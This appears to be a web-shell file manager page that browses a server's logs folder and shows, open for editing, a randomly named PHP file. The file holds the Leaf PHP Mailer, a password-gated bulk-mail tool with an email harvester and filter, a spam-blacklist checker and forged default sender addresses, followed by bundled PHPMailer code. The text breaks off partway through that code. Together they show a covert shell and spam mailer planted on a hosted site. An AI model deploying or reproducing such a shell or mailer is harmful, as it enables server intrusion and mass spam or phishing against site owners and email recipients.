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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2F'>apache.gix-webserver.at</a>/<a href='?path=%2Fbig%2Fweb%2Fapache.gix-webserver.at%2Flogs%2F'>logs</a>/</p><hr><h3>✏️ Editing: au_6d588083.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Leaf PHP Mailer by [leafmailer.pw]
 * @version : 2.8
**/

$password = &quot;x&quot;; // Password 

session_start();
error_reporting(0);
set_time_limit(0);
ini_set(&quot;memory_limit&quot;,-1);

$leaf[&#039;version&#039;]=&quot;2.8&quot;;
$leaf[&#039;website&#039;]=&quot;leafmailer.pw&quot;;


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST[&#039;pass&#039;]) and $_REQUEST[&#039;pass&#039;] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print &quot;&lt;pre align=center&gt;&lt;form method=post&gt;Password: &lt;input type=&#039;password&#039; name=&#039;pass&#039;&gt;&lt;input type=&#039;submit&#039; value=&#039;&gt;&gt;&#039;&gt;&lt;/form&gt;&lt;/pre&gt;&quot;;
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode(&#039;@&#039;, $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace(&quot;[-time-]&quot;, date(&quot;m/d/Y h:i:s a&quot;, time()), $text);
    $text = str_replace(&quot;[-email-]&quot;, $email, $text);
    $text = str_replace(&quot;[-emailuser-]&quot;, $emailuser, $text);
    $text = str_replace(&quot;[-emaildomain-]&quot;, $emaildomain, $text);
    $text = str_replace(&quot;[-randomletters-]&quot;, randString(&#039;abcdefghijklmnopqrstuvwxyz&#039;), $text);
    $text = str_replace(&quot;[-randomstring-]&quot;, randString(&#039;abcdefghijklmnopqrstuvwxyz0123456789&#039;), $text);
    $text = str_replace(&quot;[-randomnumber-]&quot;, randString(&#039;0123456789&#039;), $text);
    $text = str_replace(&quot;[-randommd5-]&quot;, md5(randString(&#039;abcdefghijklmnopqrstuvwxyz0123456789&#039;)), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = &#039;&#039;;
    for ($i = 0; $i &lt; $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET[&#039;check_ip&#039;])){
    if (isset($_GET[&#039;host&#039;])){
        $_GET[&#039;host&#039;]=explode(&quot;,&quot;, $_GET[&#039;host&#039;]);
        foreach ($_GET[&#039;host&#039;] as $host) {
            if (checkdnsrr($_GET[&#039;check_ip&#039;] . &quot;.&quot; .  $host . &quot;.&quot;, &quot;A&quot;)) $check= &quot;&lt;font color=&#039;red&#039;&gt; Listed&lt;/font&gt;&quot;;
            else $check= &quot;&lt;font color=&#039;green&#039;&gt; Clean&lt;/font&gt;&quot;;
            print &#039;document.getElementById(&quot;&#039;. $host.&#039;&quot;).innerHTML = &quot;&#039;.$check.&#039;&quot;;&#039;;
        }

        exit;
    }
    $dnsbl_lookup = [
        &quot;all.s5h.net&quot;,
        &quot;b.barracudacentral.org&quot;,
        &quot;bl.spamcop.net&quot;,
        &quot;blacklist.woody.ch&quot;,
        &quot;bogons.cymru.com&quot;,
        &quot;cbl.abuseat.org&quot;,
        &quot;cdl.anti-spam.org.cn&quot;,
        &quot;combined.abuse.ch&quot;,
        &quot;db.wpbl.info&quot;,
        &quot;dnsbl-1.uceprotect.net&quot;,
        &quot;dnsbl-2.uceprotect.net&quot;,
        &quot;dnsbl-3.uceprotect.net&quot;,
        &quot;dnsbl.anticaptcha.net&quot;,
        &quot;dnsbl.dronebl.org&quot;,
        &quot;dnsbl.inps.de&quot;,
        &quot;dnsbl.sorbs.net&quot;,
        &quot;drone.abuse.ch&quot;,
        &quot;duinv.aupads.org&quot;,
        &quot;dul.dnsbl.sorbs.net&quot;,
        &quot;dyna.spamrats.com&quot;,
        &quot;dynip.rothen.com&quot;,
        &quot;http.dnsbl.sorbs.net&quot;,
        &quot;ips.backscatterer.org&quot;,
        &quot;ix.dnsbl.manitu.net&quot;,
        &quot;korea.services.net&quot;,
        &quot;misc.dnsbl.sorbs.net&quot;,
        &quot;noptr.spamrats.com&quot;,
        &quot;orvedb.aupads.org&quot;,
        &quot;pbl.spamhaus.org&quot;,
        &quot;proxy.bl.gweep.ca&quot;,
        &quot;psbl.surriel.com&quot;,
        &quot;relays.bl.gweep.ca&quot;,
        &quot;relays.nether.net&quot;,
        &quot;sbl.spamhaus.org&quot;,
        &quot;short.rbl.jp&quot;,
        &quot;singular.ttk.pte.hu&quot;,
        &quot;smtp.dnsbl.sorbs.net&quot;,
        &quot;socks.dnsbl.sorbs.net&quot;,
        &quot;spam.abuse.ch&quot;,
        &quot;spam.dnsbl.anonmails.de&quot;,
        &quot;spam.dnsbl.sorbs.net&quot;,
        &quot;spam.spamrats.com&quot;,
        &quot;spambot.bls.digibase.ca&quot;,
        &quot;spamrbl.imp.ch&quot;,
        &quot;spamsources.fabel.dk&quot;,
        &quot;ubl.lashback.com&quot;,
        &quot;ubl.unsubscore.com&quot;,
        &quot;virus.rbl.jp&quot;,
        &quot;web.dnsbl.sorbs.net&quot;,
        &quot;wormrbl.imp.ch&quot;,
        &quot;xbl.spamhaus.org&quot;,
        &quot;z.mailspike.net&quot;,
        &quot;zen.spamhaus.org&quot;,
        &quot;zombie.dnsbl.sorbs.net&quot;,
    ];
    $reverse_ip = implode(&quot;.&quot;, array_reverse(explode(&quot;.&quot;, $_GET[&#039;check_ip&#039;])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print &#039;&lt;div class=&quot;container col-lg-6&quot;&gt;&lt;h3&gt;&lt;font color=&quot;green&quot;&gt;&lt;span class=&quot;glyphicon glyphicon-leaf&quot;&gt;&lt;/span&gt;&lt;/font&gt; Leaf PHPMailer &lt;small&gt;Blacklist Checker&lt;/small&gt;&lt;/h3&gt;&#039;;
    Print &quot;Checking &lt;b&gt;&quot;.$_GET[&#039;check_ip&#039;].&quot;&lt;/b&gt; in &lt;b&gt;$dnsT&lt;/b&gt;  anti-spam databases:&lt;br&gt;&quot;;
    $dnsN=&quot;&quot;;
    print &#039;&lt;table &gt;&#039;;
    for ($i=0; $i &lt; $dnsT; $i=$i+10) { 
        $host=&quot;&quot;;
        $hosts=&quot;&quot;;
        for($j=$i; $j&lt;$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print &quot;&lt;tr&gt; &lt;td&gt;$host&lt;/td&gt; &lt;td id=&#039;$host&#039;&gt;Checking ..&lt;/td&gt;&lt;/tr&gt;&quot;;
                $hosts .=&quot;$host,&quot;;
            }
        }
        $dnsN.=&quot;&lt;script src=&#039;?check_ip=$reverse_ip&amp;host=&quot;.$hosts.&quot;&#039; type=&#039;text/javascript&#039;&gt;&lt;/script&gt;&quot;;
    }

    print &#039;&lt;/table&gt;&lt;/div&gt;&#039;;
    print $dnsN;
    exit;
}
if(isset($_GET[&#039;emailfilter&#039;])){

    if(!empty($_FILES[&#039;fileToUpload&#039;][&#039;tmp_name&#039;])){
        $_POST[&#039;emailList&#039;]= file_get_contents($_FILES[&quot;fileToUpload&quot;][&quot;tmp_name&quot;]); 
    }
    $_POST[&#039;emailList&#039;]=strtolower($_POST[&#039;emailList&#039;]);
   if($_GET[&#039;emailfilter&#039;]==&quot;ifram&quot;){
        if ($_POST[&#039;resulttype&#039;] == &quot;download&quot;){
            header(&quot;Content-Description: File Transfer&quot;); 
            header(&quot;Content-Type: application/octet-stream&quot;); 
            header(&quot;Content-Disposition: attachment; filename=emails&quot;.time().&quot;.txt&quot;);
        }
        else {
            header(&quot;Content-Type: text/plain&quot;);
        }
    if($_POST[&#039;submit&#039;]==&quot;extract&quot;){
        $pattern = &#039;/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/&#039;;
        preg_match_all($pattern, $_POST[&#039;emailList&#039;], $matches);
        foreach ($matches[0] as $email) {
            print $email.&quot;\n&quot;;
        }
    }
    elseif ($_POST[&#039;submit&#039;]==&quot;filter&quot;) {
        $emails=explode(&quot;\n&quot;, $_POST[&#039;emailList&#039;]);
        $keywords=explode(&quot;\n&quot;, strtolower($_POST[&#039;keywords&#039;]));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email.&quot;\n&quot;;
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print &#039;&lt;div class=&quot;container col-lg-4&quot;&gt;&lt;h3&gt;&lt;font color=&quot;green&quot;&gt;&lt;span class=&quot;glyphicon glyphicon-leaf&quot;&gt;&lt;/span&gt;&lt;/font&gt; Leaf PHPMailer &lt;small&gt;Email Filter&lt;/small&gt;&lt;/h3&gt;&#039;;
   print &#039;
    &lt;form action=&quot;?emailfilter=ifram&quot; method=&quot;POST&quot; target=&quot;my-iframe&quot; enctype=&quot;multipart/form-data&quot; onsubmit=\&#039;\&#039;&gt;
        &lt;label for=&quot;emailList&quot;&gt;Text &lt;/label&gt;&lt;input type=&quot;file&quot; name=&quot;fileToUpload&quot; id=&quot;fileToUpload&quot;&gt; 
        or

        &lt;textarea name=&quot;emailList&quot; id=&quot;emailList&quot; class=&quot;form-control&quot; rows=&quot;7&quot; id=&quot;textArea&quot;&gt;&lt;/textarea&gt;
      &lt;div class=&quot;col-lg-12&quot;&gt;
        &lt;div class=&quot;radio&quot;&gt;
          &lt;label&gt;
            &lt;input type=&quot;radio&quot; name=&quot;resulttype&quot; id=&quot;resulttype&quot; value=&quot;here&quot; checked=&quot;&quot;&gt;
            Show Result in this page
          &lt;/label&gt;
        &lt;/div&gt;
        &lt;div class=&quot;radio&quot;&gt;
          &lt;label&gt;
            &lt;input type=&quot;radio&quot; name=&quot;resulttype&quot; id=&quot;resulttype&quot; value=&quot;download&quot;&gt;
            Download Result (for big numbers)
          &lt;/label&gt;
        &lt;/div&gt;
      &lt;/div&gt;
            &lt;legend&gt;&lt;h4&gt;Extract Email&lt;/h4&gt;&lt;/legend&gt;
            Detecting every email (100%) and order them line by line &lt;br&gt;&lt;br&gt;
        &lt;button type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;extract&quot; class=&quot;btn btn-default btn-sm&quot;&gt;Start&lt;/button&gt;
            &lt;legend&gt;&lt;h4&gt;Filter Emails&lt;/h4&gt;&lt;/legend&gt;
        &lt;label &gt;Keywords &lt;small&gt; ex: gmail.com or .co.uk&lt;/small&gt; &lt;/label&gt;&lt;textarea name=&quot;keywords&quot; id=&quot;keywords&quot; class=&quot;form-control&quot; rows=&quot;4&quot; id=&quot;textArea&quot;&gt;gmail.com
hotmail.com
yahoo.com
.co.uk&lt;/textarea&gt;&lt;br&gt;

            &lt;button type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;filter&quot; class=&quot;btn btn-default btn-sm&quot;&gt;Start&lt;/button&gt;
    &lt;/form&gt;
    &lt;label &gt;Result &lt;/label&gt;
    &lt;iframe style=&quot;border:none;width:100%;&quot; name=&quot;my-iframe&quot;  src=&quot;?emailfilter=ifram&quot; &gt;&lt;/iframe&gt;
   &#039;;
   exit;

}
$html=&quot;checked&quot;;
$utf8=&quot;selected&quot;;
$bit8=&quot;selected&quot;;

if($_POST[&#039;action&#039;]==&quot;send&quot; or $_POST[&#039;action&#039;]==&quot;score&quot;){

    $senderEmail=leafTrim($_POST[&#039;senderEmail&#039;]);
    $senderName=leafTrim($_POST[&#039;senderName&#039;]);
    $replyTo=leafTrim($_POST[&#039;replyTo&#039;]);
    $subject=leafTrim($_POST[&#039;subject&#039;]);
    $emailList=leafTrim($_POST[&#039;emailList&#039;]);
    $messageType=leafTrim($_POST[&#039;messageType&#039;]);
    $messageLetter=leafTrim($_POST[&#039;messageLetter&#039;]);
    $encoding = $_POST[&#039;encode&#039;];
    $charset = $_POST[&#039;charset&#039;];
    $html=&quot;&quot;;
    $utf8=&quot;&quot;;
    $bit8=&quot;&quot;;

    if($messageType==2) $plain=&quot;checked&quot;;
    else $html=&quot;checked&quot;;

    if($charset==&quot;ISO-8859-1&quot;) $iso=&quot;selected&quot;;
    else $utf8=&quot;selected&quot;;

    if($encoding==&quot;7bit&quot;) $bit7=&quot;selected&quot;;
    elseif($encoding==&quot;binary&quot;) $binary=&quot;selected&quot;;
    elseif($encoding==&quot;base64&quot;) $base64=&quot;selected&quot;;
    elseif($encoding==&quot;quoted-printable&quot;) $quotedprintable=&quot;selected&quot;;
    else $bit8=&quot;selected&quot;;



}
if($_POST[&#039;action&#039;]==&quot;view&quot;){
	$viewMessage=leafTrim($_POST[&#039;messageLetter&#039;]);
	$viewMessage=leafClear($viewMessage,&quot;user@domain.com&quot;);
	if ($_POST[&#039;messageType&#039;]==2){
		print &quot;&lt;pre&gt;&quot;.htmlspecialchars($viewMessage).&quot;&lt;/pre&gt;&quot;;
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST[&#039;senderEmail&#039;])){
    $senderEmail=&quot;support@&quot;.str_replace(&quot;www.&quot;, &quot;&quot;, $_SERVER[&#039;HTTP_HOST&#039;]);
    if (!leafMailCheck($senderEmail)) $senderEmail=&quot;&quot;;
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = &#039;5.2.28&#039;;

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = &#039;iso-8859-1&#039;;

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = &#039;text/plain&#039;;

    /**
     * The message encoding.
     * Options: &quot;8bit&quot;, &quot;7bit&quot;, &quot;binary&quot;, &quot;base64&quot;, and &quot;quoted-printable&quot;.
     * @var string
     */
    public $Encoding = &#039;8bit&#039;;

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = &#039;&#039;;

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = &#039;root@localhost&#039;;

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = &#039;Root User&#039;;

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as &#039;MAIL FROM&#039; in smtp mode.
     * @var string
     */
    public $Sender = &#039;&#039;;

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it&#039;s the receiver&#039;s job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = &#039;&#039;;

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = &#039;&#039;;

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = &#039;&#039;;

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt &amp; Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = &#039;&#039;;

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = &#039;&#039;;

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = &#039;&#039;;

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = &#039;&#039;;

    /**
     * Extra headers that createHeader() doesn&#039;t fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = &#039;&#039;;

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: &quot;mail&quot;, &quot;sendmail&quot;, or &quot;smtp&quot;.
     * @var string
     */
    public $Mailer = &#039;mail&#039;;

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = &#039;/usr/sbin/sendmail&#039;;

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail&#039;s &quot;-oi -f&quot; options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = &#039;&#039;;

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = &#039;&#039;;

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER[&#039;SERVER_NAME&#039;], gethostname(), php_uname(&#039;n&#039;), or the value
     * &#039;localhost.localdomain&#039;.
     * @var string
     */
    public $Hostname = &#039;&#039;;

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format &quot;&lt;id@domain&gt;&quot;,
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = &#039;&#039;;

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = &#039;&#039;;

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. &quot;smtp1.example.com:25;smtp2.example.com&quot;).
     * You can also specify encryption type, for example:
     * (e.g. &quot;tls://smtp1.example.com:587;ssl://smtp2.example.com:465&quot;).
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = &#039;localhost&#039;;

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = &#039;&#039;;

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: &#039;&#039;, &#039;ssl&#039; or &#039;tls&#039;
     * @var string
     */
    public $SMTPSecure = &#039;&#039;;

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to &#039;tls&#039;.
     * Be aware that in PHP &gt;= 5.6 this requires that the server&#039;s certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = &#039;&#039;;

    /**
     * SMTP password.
     * @var string
     */
    public $Password = &#039;&#039;;

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = &#039;&#039;;

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = &#039;&#039;;

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = &#039;&#039;;

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `&lt;br&gt;`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * &lt;code&gt;
     * $mail-&gt;Debugoutput = function($str, $level) {echo &quot;debug level $level; message: $str&quot;;};
     * &lt;/code&gt;
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = &#039;echo&#039;;

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains &quot;\n&quot;. We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = &quot;\n&quot;;

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = &#039;&#039;;

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = &#039;&#039;;

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = &#039;&#039;;

    /**
     * DKIM signing domain name.
     * @example &#039;example.com&#039;
     * @var string
     */
    public $DKIM_domain = &#039;&#039;;

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = &#039;&#039;;

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = &#039;&#039;;

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = &#039;&#039;;

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = &#039; &#039;;

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = &#039;auto&#039;;

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of &#039;to&#039; names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of &#039;cc&#039; names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of &#039;bcc&#039; names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = &#039;&#039;;

    /**
     * The message&#039;s MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = &#039;&#039;;

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = &#039;&#039;;

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = &#039;&#039;;

    /**
     * The optional S/MIME extra certificates (&quot;CA Chain&quot;) file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = &#039;&#039;;

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = &#039;&#039;;

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = &#039;&#039;;

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = &quot;\r\n&quot;;

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this-&gt;exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this-&gt;Debugoutput = (strpos(PHP_SAPI, &#039;cli&#039;) !== false ? &#039;echo&#039; : &#039;html&#039;);
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this-&gt;smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don&#039;t pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get(&#039;mbstring.func_overload&#039;) &amp; 1) {
            $subject = $this-&gt;secureHeader($subject);
        } else {
            $subject = $this-&gt;encodeHeader($this-&gt;secureHeader($subject));
        }

        //Can&#039;t use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get(&#039;safe_mode&#039;) or !$this-&gt;UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this-&gt;SMTPDebug &lt;= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this-&gt;Debugoutput, array(&#039;error_log&#039;, &#039;html&#039;, &#039;echo&#039;)) and is_callable($this-&gt;Debugoutput)) {
            call_user_func($this-&gt;Debugoutput, $str, $this-&gt;SMTPDebug);
            return;
        }
        switch ($this-&gt;Debugoutput) {
            case &#039;error_log&#039;:
                //Don&#039;t output, just log
                error_log($str);
                break;
            case &#039;html&#039;:
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace(&#039;/[\r\n]+/&#039;, &#039;&#039;, $str),
                    ENT_QUOTES,
                    &#039;UTF-8&#039;
                )
                . &quot;&lt;br&gt;\n&quot;;
                break;
            case &#039;echo&#039;:
            default:
                //Normalize line breaks
                $str = preg_replace(&#039;/\r\n?/ms&#039;, &quot;\n&quot;, $str);
                echo gmdate(&#039;Y-m-d H:i:s&#039;) . &quot;\t&quot; . str_replace(
                    &quot;\n&quot;,
                    &quot;\n                   \t                  &quot;,
                    trim($str)
                ) . &quot;\n&quot;;
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this-&gt;Mailer = &#039;smtp&#039;;
    }

    /**
     * Send messages using PHP&#039;s mail() function.
     * @return void
     */
    public function isMail()
